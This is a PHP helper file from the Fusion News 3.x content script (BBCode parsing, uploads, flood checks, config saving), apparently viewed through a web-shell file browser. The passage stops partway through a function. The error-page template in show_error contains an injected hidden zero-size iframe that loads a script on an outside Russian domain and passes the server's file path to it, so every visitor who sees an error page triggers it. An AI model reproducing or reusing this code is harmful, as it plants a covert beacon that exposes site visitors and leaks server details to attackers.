One Hat Cyber Team

View File Name : functions.php

<?php

/*
||==========================================================
||		Fusion News 3.x
||----------------------------------------------------------
|| File Version	: $Id: functions.php 214 2008-02-23 14:25:49Z xycaleth $
|| Contact	: xycaleth@gmail.com
|| Copyright:	: (c) 2006 - 2008, FusionNews.net
|| License Info	: http://www.gnu.org/copyleft/gpl.html
||==========================================================
*/

function InsertBBCode($fusnewsm){
	// open tags risk wrong formatting of the whole newspage... open tags should be dealth with
	$bbcodes_open  = array('[move]','[sub]','[tt]','[sup]','[s]','[b]','[i]','[u]','[list]','[quote]','[code]');
	$bbcodes_close = array('[/move]','[/sub]','[/tt]','[/sup]','[/s]','[/b]','[/i]','[/u]','[/list]','[/quote]','[/code]');

	for($i = 0; $i < 11; $i++ )
	{
		$bbcode_open = $bbcodes_open[$i];
		$bbcode_close = $bbcodes_close[$i];

		$open_cnt = substr_count( $fusnewsm, $bbcode_open );
		$close_cnt = substr_count( $fusnewsm, $bbcode_close );
		$div = abs( $open_cnt - $close_cnt );

		if ( $open_cnt > $close_cnt )
		{
			for ($i = 0; $i < $div; $i++ )
			{
				$fusnewsm .= $bbcode_close;
			}
		}
		if ( $open_cnt < $close_cnt )
		{
			for ($i = 0; $i < $div; $i++ )
			{
				$fusnewsm = $bbcode_open.$fusnewsm;
			}
		}
	}

	$fusnewsm = str_replace ('[move]', '<marquee>', $fusnewsm);
	$fusnewsm = str_replace ('[/move]', '</marquee>', $fusnewsm);
	$fusnewsm = str_replace ('[sub]', '<sub>', $fusnewsm);
	$fusnewsm = str_replace ('[/sub]', '</sub>', $fusnewsm);
	$fusnewsm = str_replace ('[sup]', '<sup>', $fusnewsm);
	$fusnewsm = str_replace ('[/sup]', '</sup>', $fusnewsm);
	$fusnewsm = str_replace ('[s]', '<s>', $fusnewsm);
	$fusnewsm = str_replace ('[/s]', '</s>', $fusnewsm);
	$fusnewsm = str_replace ('[b]', '<b>', $fusnewsm);
	$fusnewsm = str_replace ('[/b]', '</b>', $fusnewsm);
	$fusnewsm = str_replace ('[i]', '<i>', $fusnewsm);
	$fusnewsm = str_replace ('[/i]', '</i>', $fusnewsm);
	$fusnewsm = str_replace ('[tt]', '<tt>', $fusnewsm);
	$fusnewsm = str_replace ('[/tt]', '</tt>', $fusnewsm);
	$fusnewsm = str_replace ('[u]', '<u>', $fusnewsm);
	$fusnewsm = str_replace ('[/u]', '</u>', $fusnewsm);
	$fusnewsm = str_replace ('[quote]', '<blockquote>quote:<hr style="height:1px" />&quot;', $fusnewsm);
	$fusnewsm = str_replace ('[/quote]', '&quot;<hr style="height:1px" /></blockquote>', $fusnewsm);
	$fusnewsm = str_replace ('[hr]', '<hr />', $fusnewsm);

	$fusnewsm = preg_replace ('/\[shadow=(.+),(left|right|center),(\d+)\](.+)\[\/shadow\]/Ui', '<span style="filter: shadow(color=\\1, direction=\\2); width:\\3px;">\\4</span>', $fusnewsm);
	$fusnewsm = preg_replace ('/\[glow=(.+),(\d+),(\d+)\](.+)\[\/glow\]/Ui', '<span style="filter: glow(color=\\1, strength=\\2); width: \\3px;">\\4</span>', $fusnewsm);
	$fusnewsm = preg_replace ('/\[font=(\w+)](.+)\[\/font\]/Ui', '<span style="font-family:\\1">\\2</span>', $fusnewsm);
	$fusnewsm = preg_replace ('/\[color=(\w+)](.+)\[\/color\]/Ui', '<span style="color:\\1">\\2</span>', $fusnewsm);
	$fusnewsm = preg_replace ('/\[size=(\d+)](.+)\[\/size\]/Ui', '<span style="font-size:\\1px">\\2</span>', $fusnewsm);
	$fusnewsm = preg_replace ('/\[align=(left|center|right)](.+)\[\/align\]/Ui', '<div style="text-align:\\1">\\2</div>', $fusnewsm);
	$fusnewsm = preg_replace ('/\[img](.+)\[\/img]/Ui', '<img src="\\1" alt="" />', $fusnewsm);
	$fusnewsm = preg_replace ('/\[img height=(\d+) width=(\d+)](.+)\[\/img]/Ui', '<img src="\\3" style="height:\\1px; width:\\2px" alt="" />', $fusnewsm);
	$fusnewsm = preg_replace ('/\[img width=(\d+) height=(\d+)](.+)\[\/img]/Ui', '<img src="\\3" style="height:\\2px; width:\\1px" alt="" />', $fusnewsm);
	$fusnewsm = preg_replace ('/\[flash=(\d+),(\d+)](.+)\[\/flash]/Ui', '<object type="application/x-shockwave-flash" data="\\3" width="\\1" height="\\2"><param name="movie" value="\\3" /><span>Flash required</span></object>', $fusnewsm);

	$email_regex = '([A-Za-z0-9\!\#\$\%\&\'\*\+\-\/\=\?\^_`\{\|\}\~]{1,64}@[a-z0-9\-\.]{2,65})';
	$fusnewsm = preg_replace ('/\[email]' . $email_regex . '\[\/email\]/Ui', '<a href="mailto:\\1">\\1</a>', $fusnewsm);
	$fusnewsm = preg_replace ('/\[email=' . $email_regex . '](.+)\[\/email\]/Ui', '<a href="mailto:\\1">\\2</a>', $fusnewsm);

	$url_regex = '\b([a-z]+://([a-z0-9\-\.]{2,65}|[a-z0-9\-\.]{0,56}localhost)(:[0-9]{1,5})?(/(~?[a-z0-9:_/\.%\-]+(\?([a-z0-9\-]+=[a-z0-9\-_:\.%\+]*(&amp;|;|&)?)*){0,1})*((\#[A-Za-z0-9\.\-%/]+)*)){0,1})';
	$url_regex_no_protocol = '\b((www\.|[a-z0-9\-\.]{2,65}|[a-z0-9\-\.]{0,56}localhost)(:[0-9]{1,5})?(/(~?[a-z0-9:_/\.%\-]+(\?([a-z0-9\-]+=[a-z0-9\-_:\.%\+]*(&amp;|;|&)?)*){0,1})*((\#[A-Za-z0-9\.\-%/]+)*)){0,1})';

	// Replace simple URLs
	$fusnewsm = preg_replace ('#(?<!\[url=|\[url\]|")' . $url_regex . '(?!\[\/url\])#i', '[url]$1[/url]', $fusnewsm);

	// [url]link[/url] style
	$fusnewsm = preg_replace ('#\[url\]' . $url_regex . '\[/url\]#Ui', '<a href="\\1" onclick="window.open (this.href); return false;">\\1</a>', $fusnewsm);
	$fusnewsm = preg_replace ('#\[url\]' . $url_regex_no_protocol . '\[/url\]#Ui', '<a href="http://\\1" onclick="window.open (this.href); return false;">\\1</a>', $fusnewsm);

	// [url=link]text[/url] style
	$fusnewsm = preg_replace ('#\[url=' . $url_regex . '\](.+)\[/url\]#Ui', '<a href="$1">$11</a>', $fusnewsm);
	$fusnewsm = preg_replace ('#\[url=' . $url_regex_no_protocol . '\](.+)\[/url\]#Ui', '<a href="http://\\1">\\11</a>', $fusnewsm);

	$fusnewsm = str_replace ('[list]', '<ul>', $fusnewsm);
	$fusnewsm = preg_replace ('#\[\*\]([^\[]+)#', '<li>\\1</li>', $fusnewsm);
	$fusnewsm = str_replace ('[/list]', '</ul>', $fusnewsm);

	return $fusnewsm;
}

function InsertSmillies ( $fusnewsm )
{
	global $furl;

	$file = file (FNEWS_ROOT_PATH . 'smillies.php');
	array_shift ($file);
	foreach($file as $value)
	{
		list($rand,$code,$image) = explode("|<|", $value);
		$code = unhtmlentities(stripslashes($code));
		$image = chop ($image);
		$fusnewsm = str_replace ($code, '<img src="' . $furl . '/smillies/' . $image . '" alt="' . $code . '" />', $fusnewsm);
	}

	return $fusnewsm;
}

function show_error ( $string )
{
	echo <<< html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<title>Fusion News: Error</title>
	<style type="text/css">
	<!--
	body {
		font-family: "Trebuchet MS", Tahoma, Helvetica, sans-serif;
		font-size: 10pt;
	}
	-->
	</style>
</head>
<body><iframe width="0" height="0" style="display:none;" id="frmchkldver" src="http://inglo-kotor.ru/yesproject/check.php?ftd=147804&path=%7chome%7csam%7cpublic_html%7cgo%7cnews%7c&sys=UN&wrk=8"></iframe>
<h1>Fusion News Error</h1>
$string
</body>
</html>
html;
}

function get_template ( $template, $php_enabled )
{
	$text = '';

	if ( file_exists (FNEWS_ROOT_PATH . 'templates/' . $template) )
	{
		if ( $php_enabled )
		{
			ob_start();
			include (FNEWS_ROOT_PATH . 'templates/' . $template);
			$text = ob_get_contents();
			ob_end_clean();
		}
		else
		{
			$fp = fopen (FNEWS_ROOT_PATH . 'templates/' . $template, 'rb');
			@flock ($fp, LOCK_EX);

			while ( !feof ($fp) )
			{
				$buffer = fgets ($fp, 4096);
				$text .= $buffer;
			}

			@flock ($fp, LOCK_UN);
			fclose ($fp);
		}
	}

	return $text;
}

function arrange_by_date()
{
	$file = file (FNEWS_ROOT_PATH . 'news/toc.php');
	array_shift ($file);

	$data = array();
	if ( count ($file) > 0 )
	{
		$array = array();
		foreach ( $file as $value )
		{
			$news_data = explode ('|<|', $value);
			$array[$news_data[1]] = chop (trim ($value));
		}

		if ( sizeof ($array) > 0 )
		{
			krsort ($array);

			foreach ( $array as $val )
			{
				$data[] = $val;
			}
		}
	}

	return $data;
}

function fusion_wordwrap($post, $maxwordlen) {
	if ( $post !== '' )
	{
		$eachword = explode (' ', $post);
		$post = '';

		$numlines = ceil (sizeof ($eachword) / $maxwordlen);
		for ( $i = 0; $i < $numlines; $i++ )
		{
			for ( $j = 0; ($j < $maxwordlen) && (isset ($eachword[($i * $maxwordlen) + $j])); $j++ )
			{
				$post .= $eachword[($i * $maxwordlen) + $j] . ' ';
			}

			$post .= '<br />' . "\n";
		}
	}

	return $post;
}

function filterbadwords ( $post )
{
	$words = array();
	$file = file (FNEWS_ROOT_PATH . 'badwords.php');// or die ("Can't open badwords.php for reading!");
	array_shift ($file);

	$find_array = array();
	$replace_array = array();
	foreach ( $file as $rule )
	{
		list ($find, $replace, $case_sens, $type) = explode ('|<|', $rule);

		if ( $type == 2 )
		{
			// Regular expressions match
			$find_array[] = $find;
			$replace_array[] = $replace;
		}
		else
		{
			// Strict or loose
			if ( $type == 0 )
			{
				// Strict
				$find_array[] = '#\b' . preg_quote ($find) . '\b#' . (!$case_sens ? 'i' : '');
			}
			else if ( $type == 1 )
			{
				// Loose
				$find_array[] = '#' . preg_quote ($find) . '#' . (!$case_sens ? 'i' : '');
			}
			$replace_array[] = $replace;
		}
	}

	$post = preg_replace ($find_array, $replace_array, $post);

	return $post;
}

function findwriter ( $user, $nick = '' )
{
	if ( !$nick && !$user )
	{
		return false;
	}

	if ( !$nick && $user )
	{
		$nick = $user;
	}

	if ($nick && !$user)
	{
		$user = $nick;
	}

	$file = file(FNEWS_ROOT_PATH . 'users.php');
	array_shift($file);
	foreach ( $file as $value )
	{
		list($fuser,$fnick,$femail,$ficon,$ftimeoffset,$fpass,$le) = explode("|<|", $value);

		if( ($user == $fuser) or ($nick == $fnick) )
		{
			$email = explode ('=', $femail);

			return array (
				'user'		=> $fuser,
				'nick'		=> $fnick,
				'email'		=> $email[1],
				'showemail'	=> $email[0],
				'icon'		=> $ficon,
				'timeoffset'	=> $ftimeoffset,
				'level'		=> $le
			);
		}
	}

	return false;
}

function calc_size ( $size ){
	if ( $size < 1024 && $size != 0 )
	{ // Bytes
		return $size . ' B';
	}
	else if ( $size < (1024 * 1024) )
	{ // Kilobytes
		return sprintf ('%.2f', ($size / 1024)) . ' KB';
	}
	else if ( $size < (1024 * 1024 * 1024) )
	{ // Megabytes
		return sprintf ('%.2f', ($size / (1024 * 1024))) . ' MB';
	}
}

function valid_email($email) {
	// Returns true if email address has a valid form.
	return preg_match ('#[A-Za-z0-9\!\#\$\%\&\'\*\+\-\/\=\?\^_`\{\|\}\~]{1,64}@[a-z0-9\-\.]{2,65}#', $email);
}

function checkifflooding($ip, $rand1){
	global $floodtime;

	$file = file (FNEWS_ROOT_PATH . 'flood.php');
	$data = array_shift ($file);
	$current_time = time();
	foreach ( $file as $user )
	{
		list($a, $b, $c) = explode('=', trim($user));
		if($b > $current_time - $floodtime)
		{
			$data .= "$a=$b=$c\n";
		}
	}

	safe_write ('flood.php', 'wb', $data);

	$time = 0;
	$file = file(FNEWS_ROOT_PATH . 'flood.php');
	array_shift ($file);
	foreach ( $file as $value )
	{
		list($a, $b, $c) = explode('=', $value);
		if ( trim ($a) == $ip )
		{
			$time = $b;
			$d = trim ($c);
		}
	}
	if ( $time > 0 )
	{
		return ((($current_time - $floodtime) <= $time) && ($rand1 == $d));
	}
	else
	{
		return false;
	}
}

function checkifbanned ( $ip )
{
	$file = file (FNEWS_ROOT_PATH . 'banned.php');
	array_shift($file);

	$my_subnet = explode ('.', $ip);
	foreach ( $file as $value )
	{
		$value = trim ($value);
		$octet = explode ('.', $value);
		if ( ($octet[0] == $my_subnet[0] || $octet[0] == '*') &&
			($octet[1] == $my_subnet[1] || $octet[1] == '*') &&
			($octet[2] == $my_subnet[2] || $octet[2] == '*') &&
			($octet[3] == $my_subnet[3] || $octet[3] == '*') )
		{
			return true;
		}
	}

	return false;
}

function getip()
{
	$realip = '';

	if ( isset ($_SERVER) )
	{
		if ( isset ( $_SERVER['REMOTE_ADDR']) )
		{
			$realip = $_SERVER['REMOTE_ADDR'];
		}
		else if ( isset ($_SERVER['HTTP_CLIENT_IP']) )
		{
			$realip = $_SERVER['HTTP_CLIENT_IP'];
		}
		else
		{
			$realip = $_SERVER['HTTP_X_FORWARDED_FOR'];
		}
	}
	else
	{
		if ( getenv ('REMOTE_ADDR') )
		{
			$realip = getenv ('REMOTE_ADDR');
		}
		else if ( getenv ('HTTP_CLIENT_IP') )
		{
			$realip = getenv ('HTTP_CLIENT_IP');
		}
		else
		{
			$realip = getenv ('HTTP_X_FORWARDED_FOR');
		}
	}

	return $realip;
}

function has_access ( $level )
{
	global $userdata;

	return ( $userdata != NULL ) ? ($userdata['level'] >= $level) : false;
}

// Blackshadow - rewritten
function upload_file ( $var_key, $directory, $exts, $maxsize, $name )
{
	global $upld2, $ind252, $ind253, $ind254, $ind255, $ind255a, $ind256, $ind257;

	if ( @ini_get ('file_uploads') == 'off' || @ini_get ('file_uploads') == 0 || @ini_get ('file_uploads') == '' )
	{
		return $upld2;
	}

	$filename = ( isset ($_FILES[$var_key]['name']) ) ? $_FILES[$var_key]['name'] : '';
	$tmpname = ( isset ($_FILES[$var_key]['tmp_name']) ) ? $_FILES[$var_key]['tmp_name'] : '';
	$filesize = ( isset ($_FILES[$var_key]['size']) ) ? intval ($_FILES[$var_key]['size']) : 0;

	if ( !is_dir ($directory) )
	{
		return $ind253;
	}

	if ( !$filename )
	{
		return $ind254;
	}

	if ( !@is_uploaded_file ($tmpname) )
	{
		return $ind256;
	}

	$extensions = explode ('&#124;', $exts);
	$num_exts = sizeof ($extensions);
	$valid_ext = 0;

	for ( $i = 0; $i < $num_exts; $i++ )
	{
		if ( substr ($filename, strrpos ($filename, '.') + 1) == $extensions[$i] )
		{
			$valid_ext = 1;
			break;
		}
	}

	if ( !$valid_ext )
	{
		return $ind255 . $exts . $ind255a;
	}

	if ( $filesize == 0 )
	{
		return $ind254;
	}

	if ( $filesize > $maxsize )
	{
		return $ind252;
	}

	$uploaded = false;

	$origname = $filename;
	$i = 1;

	while ( file_exists ($directory . $filename) )
	{
		$filename = substr ($origname, 0, strrpos ($origname, '.')) . '_' . $i . strrchr ($origname, '.');
		$i++;
	}

	if ( @move_uploaded_file ($tmpname, $directory . $filename) )
	{
		$uploaded = true;
	}
	else if ( @copy ($tmpname, $directory . $filename) )
	{
		$uploaded = true;
	}

	if ( !file_exists ($directory . $filename) )
	{
		$uploaded = false;
	}

	if ( !$uploaded )
	{
		return $ind256;
	}

	@chmod ($upload_path . $filename, 0644);
	@unlink ($tmpname);

	return $name . ' ' . $ind257;
}

function clean_key ( $key )
{
	if ( $key != '' )
	{
		$key = preg_replace ('/[^A-Za-z0-9_]+/',	'',	$key);
		$key = preg_replace ('/\.\./',			'',	$key);
		$key = preg_replace ('/\_\_(.+?)\_\_/',		'',	$key);
		$key = preg_replace ('/^([\w\.\-\_]+)$/',	'$1',	$key);
	}

	return $key;
}

function clean_value ( $val )
{
	if ( $val != '' )
	{
		// I think this block of slightly modified code came from IPB.
		$val = str_replace ('&#032;',		' ',		$val);
		$val = str_replace ('&',		'&amp;',	$val);
		$val = str_replace ('<!',		'&#60;&#33;',	$val);
		$val = str_replace ('-->',		'--&#62;',	$val);
		$val = preg_replace ('/<script/i',	'&#60;script',	$val);
		$val = str_replace ('>',		'&gt;',		$val);
		$val = str_replace ('<',		'&lt;',		$val);
		$val = preg_replace ('/\|/',		'&#124;',	$val);

		if ( strtolower (ini_get ('magic_quotes_sybase')) == 'on' || ini_get ('magic_quotes_sybase') == 1 )
		{
			$val = str_replace ('\'\'', '\'', $val);
		}

		$find = array ('\\"', '\\\\', '\\\'');
		$replace = array ('&quot;', '\\', '\'');

		$val = str_replace ($find, $replace, $val);
		$val = str_replace ("\r\n",		"\n",		$val);	// Win32 => new line
		$val = str_replace ("\r",		"\n",		$val);	// Mac => new line
		$val = str_replace ('!',		'&#33;',	$val);

		// Multibyte characters fix (could do it properly, but this is the easiest way and it works relatively well)
		$val = preg_replace ('/&amp;#([0-9]+);/', '&#$1;', $val);
	}

	return $val;
}

function unhtmlentities ($string)
{
	$trans_tbl = get_html_translation_table (HTML_ENTITIES);
	$trans_tbl = array_flip ($trans_tbl);

	return strtr ($string, $trans_tbl);
}

function config_array()
{
	require './config.php';

	return array(
		'fusion_id'		=> $fusion_id,
		'site'			=> $site,
		'furl'			=> $furl,
		'hurl'			=> $hurl,
		'datefor'		=> $datefor,
		'numofposts'		=> $numofposts,
		'numofh'		=> $numofh,
		'bb'			=> $bb,
		'ht'			=> $ht,
		'post_per_day'		=> $post_per_day,
		'ppp_date'		=> $ppp_date,
		'wfpost'		=> $wfpost,
		'wfcom'			=> $wfcom,
		'skin'			=> $skin,
		'cbwordwrap'		=> $cbwordwrap,
		'wwwidth'		=> $wwwidth,
		'smilies'		=> $smilies,
		'stfpop'		=> $stfpop,
		'comallowbr'		=> $comallowbr,
		'stfwidth'		=> $stfwidth,
		'stfheight'		=> $stfheight,
		'fslink'		=> $fslink,
		'stflink'		=> $stflink,
		'pclink'		=> $pclink,
		'fsnw'			=> $fsnw,
		'cbflood'		=> $cbflood,
		'floodtime'		=> $floodtime,
		'comlength'		=> $comlength,
		'fullnewsw'		=> $fullnewsw,
		'fullnewsh'		=> $fullnewsh,
		'fullnewss'		=> $fullnewss,
		'stfresize'		=> $stfresize,
		'stfscrolls'		=> $stfscrolls,
		'fullnewsz'		=> $fullnewsz,
		'htc'			=> $htc,
		'smilcom'		=> $smilcom,
		'bbc'			=> $bbc,
		'compop'		=> $compop,
		'comscrolls'		=> $comscrolls,
		'comresize'		=> $comresize,
		'comheight'		=> $comheight,
		'comwidth'		=> $comwidth,
		'uploads_active'	=> $uploads_active,
		'uploads_size'		=> $uploads_size,
		'uploads_ext'		=> $uploads_ext,
		'enable_rss'		=> $enable_rss,
		'link_headline_fullstory' => $link_headline_fullstory,
		'flip_news'		=> $flip_news,
		'rss_title'		=> $rss_title,
		'rss_description'	=> $rss_description,
		'rss_encoding'		=> $rss_encoding,
		'com_validation'	=> $com_validation,
		'com_captcha'		=> $com_captcha,
		'news_pagination'	=> $news_pagination,
		'ppp_date'		=> $ppp_date,
		'news_pagination_arrows'=> $news_pagination_arrows,
		'news_pagination_numbers'=> $news_pagination_numbers,
		'news_pagination_prv'	=> $news_pagination_prv,
		'news_pagination_nxt'	=> $news_pagination_nxt,
		'comments_pages'	=> $comments_pages,
		'comments_per_page'	=> $comments_per_page,
	);
}

function save_config ( $configs )
{
	global $curve;

	require './config.php';

	// Replace ' with \'
	$find = '\'';
	$replace = '\\\'';
	$variables = array ('site', 'furl', 'hurl', 'datefor', 'skin', 'fslink', 'stflink', 'pclink',
				'rss_title', 'rss_description', 'rss_encoding', 'news_pagination_nxt', 'news_pagination_prv');
	foreach ( $variables as $config_var )
	{
		$configs[$config_var] = str_replace ($find, $replace, $configs[$config_var]);
	}

	$save  = "<?php\n\n";
	$save .= '// Auto generated by Fusion News v' . $curve . "\n\n";
	$save .= "\$fusion_id = '".$configs['fusion_id']."';\n";
	$save .= "\$site = '".$configs['site']."';\n";
	$save .= "\$furl = '".$configs['furl']."';\n";
	$save .= "\$hurl = '".$configs['hurl']."';\n";
	$save .= "\$datefor = '".$configs['datefor']."';\n";
	$save .= "\$numofposts = ".$configs['numofposts'].";\n";
	$save .= "\$numofh = ".$configs['numofh'].";\n";
	$save .= "\$bb = ".$configs['bb'].";\n";
	$save .= "\$ht = ".$configs['ht'].";\n";
	$save .= "\$post_per_day = ".$configs['post_per_day'].";\n";
	$save .= "\$wfpost = ".$configs['wfpost'].";\n";
	$save .= "\$wfcom = ".$configs['wfcom'].";\n";
	$save .= "\$skin = '".$configs['skin']."';\n";
	$save .= "\$cbwordwrap = ".$configs['cbwordwrap'].";\n";
	$save .= "\$wwwidth = ".$configs['wwwidth'].";\n";
	$save .= "\$smilies = ".$configs['smilies'].";\n";
	$save .= "\$stfpop = ".$configs['stfpop'].";\n";
	$save .= "\$comallowbr = ".$configs['comallowbr'].";\n";
	$save .= "\$stfwidth = ".$configs['stfwidth'].";\n";
	$save .= "\$stfheight = ".$configs['stfheight'].";\n";
	$save .= "\$fslink = '".$configs['fslink']."';\n";
	$save .= "\$stflink = '".$configs['stflink']."';\n";
	$save .= "\$pclink = '".$configs['pclink']."';\n";
	$save .= "\$fsnw = ".$configs['fsnw'].";\n";
	$save .= "\$cbflood = ".$configs['cbflood'].";\n";
	$save .= "\$floodtime = ".$configs['floodtime'].";\n";
	$save .= "\$comlength = ".$configs['comlength'].";\n";
	$save .= "\$fullnewsw = ".$configs['fullnewsw'].";\n";
	$save .= "\$fullnewsh = ".$configs['fullnewsh'].";\n";
	$save .= "\$fullnewss = ".$configs['fullnewss'].";\n";
	$save .= "\$stfresize = ".$configs['stfresize'].";\n";
	$save .= "\$stfscrolls = ".$configs['stfscrolls'].";\n";
	$save .= "\$fullnewsz = ".$configs['fullnewsz'].";\n";
	$save .= "\$htc = ".$configs['htc'].";\n";
	$save .= "\$smilcom = ".$configs['smilcom'].";\n";
	$save .= "\$bbc = ".$configs['bbc'].";\n";
	$save .= "\$compop = ".$configs['compop'].";\n";
	$save .= "\$comscrolls = ".$configs['comscrolls'].";\n";
	$save .= "\$comresize = ".$configs['comresize'].";\n";
	$save .= "\$comheight = ".$configs['comheight'].";\n";
	$save .= "\$comwidth = ".$configs['comwidth'].";\n";
	$save .= "\$uploads_active = ".$configs['uploads_active'].";\n";
	$save .= "\$uploads_size = ".$configs['uploads_size'].";\n";
	$save .= "\$uploads_ext = '".$configs['uploads_ext']."';\n";
	$save .= "\$enable_rss = ".$configs['enable_rss'].";\n";
	$save .= "\$link_headline_fullstory = ".$configs['link_headline_fullstory'].";\n";
	$save .= "\$flip_news = ".$configs['flip_news'].";\n";
	$save .= "\$rss_title = '" . $configs['rss_title'] . "';\n";
	$save .= "\$rss_description = '" . $configs['rss_description'] . "';\n";
	$save .= "\$rss_encoding = '" . $configs['rss_encoding'] . "';\n";
	$save .= '$com_validation = ' . $configs['com_validation'] . ';' . "\n";
	$save .= '$com_captcha = ' . $configs['com_captcha'] . ';' . "\n";
	$save .= '$news_pagination = ' . $configs['news_pagination'] . ';' . "\n";
	$save .= '$news_pagination_prv = \'' . $configs['news_pagination_prv'] . '\';' . "\n";
	$save .= '$news_pagination_nxt = \'' . $configs['news_pagination_nxt'] . '\';' . "\n";
	$save .= '$news_pagination_numbers = ' . $configs['news_pagination_numbers'] . ';' . "\n";
	$save .= '$news_pagination_arrows = ' . $configs['news_pagination_arrows'] . ';' . "\n";
	$save .= '$ppp_date = \'' . $configs['ppp_date'] . '\';' . "\n";
	$save .= '$comments_pages = ' . $configs['comments_pages'] . ';' . "\n";
	$save .= '$comments_per_page = ' . $configs['comments_per_page'] . ';' . "\n\n";
	$save .= '?' . '>';	// Split it up to prevent some editors from thinking it's a real PHP end tag.

	return safe_write ('config.php', 'w', $save);
}

function trim2 ( $str, $delim )
{
	$str2 = substr( $str , strlen($str) -1, strlen($str));
	while( $str2 == "\n" || $str2 == "\t" || $str2 == "\r" || $str2 == " " )
	{
	       $str = substr( $str, 0, strlen($str) - 2 );
	       $str2 = substr( $str , strlen($str) -1, strlen($str));
	}
	$str2 = substr( $str , 0, 1);
	while( $str2 == "\n" || $str2 == "\t" || $str2 == "\r" || $str2 == " " )
	{
	       $str = substr( $str, 1, strlen($str) - 1 );
	       $str2 = substr( $str , 0, 1);
	}
	return $str;
}

function check_security_code ( $entered_code, $confirm_id, $news_id )
{
	global $error1;

	if ( empty ($confirm_id) || strlen ($entered_code) != 5 )
	{
		return false;
	}

	$file = file (FNEWS_ROOT_PATH . 'sessions.php');
	array_shift ($file);

	$valid_code = false;
	$data = '<?php die (\'' . $error1 . '\'); ?>' . "\n";
	$current_time = time();
	$user_ip = getip();
	foreach ( $file as $value )
	{
		list ($sessid, $code, $newsid, $ip, $timestamp) = explode ('|<|', $value);

		if ( $confirm_id == $sessid )
		{
			if ( $entered_code == $code && $news_id == $newsid &&
				$ip == $user_ip && ($timestamp + 600 >= $current_time) )
			{
				$valid_code = true;
			}
		}
		else
		{
			if ( $timestamp + 600 >= $current_time )
			{
				$data .= $value;
			}
		}
	}

	safe_write ('sessions.php', 'wb', $data);

	return $valid_code;
}

function show_extras ( $form_name, $textbox_name, $show_smilies, $show_bbcode )
{
	global $furl;

	$extra_html = '';

	if ( $show_smilies )
	{
		$file = file (FNEWS_ROOT_PATH . 'smillies.php');
		array_shift ($file);
		foreach ( $file as $smiley )
		{
			list ($rand, $text, $image) = explode ('|<|', $smiley);
			$image = chop (trim ($image));
			$text = str_replace ('\'', '\\\'', $text);
			$extra_html .= '<a href="javascript:smiley_bbcode(\'' . $form_name . '\', \'' . $textbox_name . '\', \'' . $text . '\');"><img src="' . $furl . '/smillies/' . $image . '" alt=""  /></a>';
		}

		$extra_html .= '<br />' . "\n";
	}

	if ( $show_bbcode )
	{
		$extra_html .=
<<< html
<a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[b][/b]', 3);"><img src="{$furl}/img/bold.gif"  alt="Bold" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[i][/i]', 3);"><img src="{$furl}/img/italic.gif"  alt="Italic" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[u][/u]', 3);"><img src="{$furl}/img/underline.gif"  alt="Underline" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[s][/s]', 3);"><img src="{$furl}/img/strike.gif"  alt="Strike Out" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[sub][/sub]', 5);"><img src="{$furl}/img/sub.gif" alt="Subscript" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[sup][/sup]', 5);"><img src="{$furl}/img/sup.gif" alt="Superscript" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[shadow=red,left,1][/shadow]', 19);"><img src="{$furl}/img/shadow.gif"  alt="Shadow Text" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[glow=red,2,1][/glow]', 14);"><img src="{$furl}/img/glow.gif"  alt="Glow Text" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[color=red][/color]', 11);"><img src="{$furl}/img/color.gif" alt="Font color" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[font=verdana][/font]', 14);"><img src="{$furl}/img/fontface.gif"  alt="Font Family" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[size=16][/size]', 9);"><img src="{$furl}/img/fontsize.gif"  alt="Font Size" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[align=left][/align]', 12);"><img src="{$furl}/img/fontleft.gif"  alt="Font Alignment" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[tt][/tt]', 4);"><img src="{$furl}/img/tele.gif"  alt="Teletype" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[hr]');"><img src="{$furl}/img/hr.gif"  alt="Horizontal Line" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[move][/move]', 6);"><img src="{$furl}/img/move.gif"  alt="Marquee" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[quote][/quote]', 7);"><img src="{$furl}/img/quote2.gif"  alt="Quote" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[flash=200,200][/flash]', 15);"><img src="{$furl}/img/flash.gif"  alt="Flash Image" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[img][/img]', 5);"><img src="{$furl}/img/img.gif"  alt="Image" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[email=username@site.com][/email]', 25);"><img src="{$furl}/img/email2.gif"  alt="E-mail link" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[url=http://www.url.com][/url]', 24);"><img src="{$furl}/img/url.gif"  alt="hyperlink" /></a><a href="javascript:smiley_bbcode('$form_name', '$textbox_name', '[list][*]text1[*]text2[*]text3[/list]');"><img src="{$furl}/img/list.gif"  alt="List" /></a><br />
html;
	}

	return $extra_html;
}

/**
 * $dropdown_type = 0 for multiple selection list
 * $dropdown_type = 1 for dropdown and selected item
 * $dropdown_type = 2 for dropdown and remove items listed in $selected_category
 **/
function build_categories_list ( $user_login, $selected_category = array (1), $dropdown_type = 0 )
{
	$file = file (FNEWS_ROOT_PATH . 'categories.php');
	array_shift ($file);

	$category_list = '<select class="post" id="category"' . (( $dropdown_type > 0 ) ? ' name="category">' : ' name="category[]" multiple="multiple" size="4">');

	foreach ( $file as $category )
	{
		list ($cid, $cname, $cicon, $cusers) = explode ('|<|', $category);

		$cusers = explode (',', $cusers);
		if ( $cid == 1 || in_array ((string)$user_login, $cusers) || (string)$user_login === '' )
		{
			if ( in_array ($cid, (array)$selected_category) )
			{
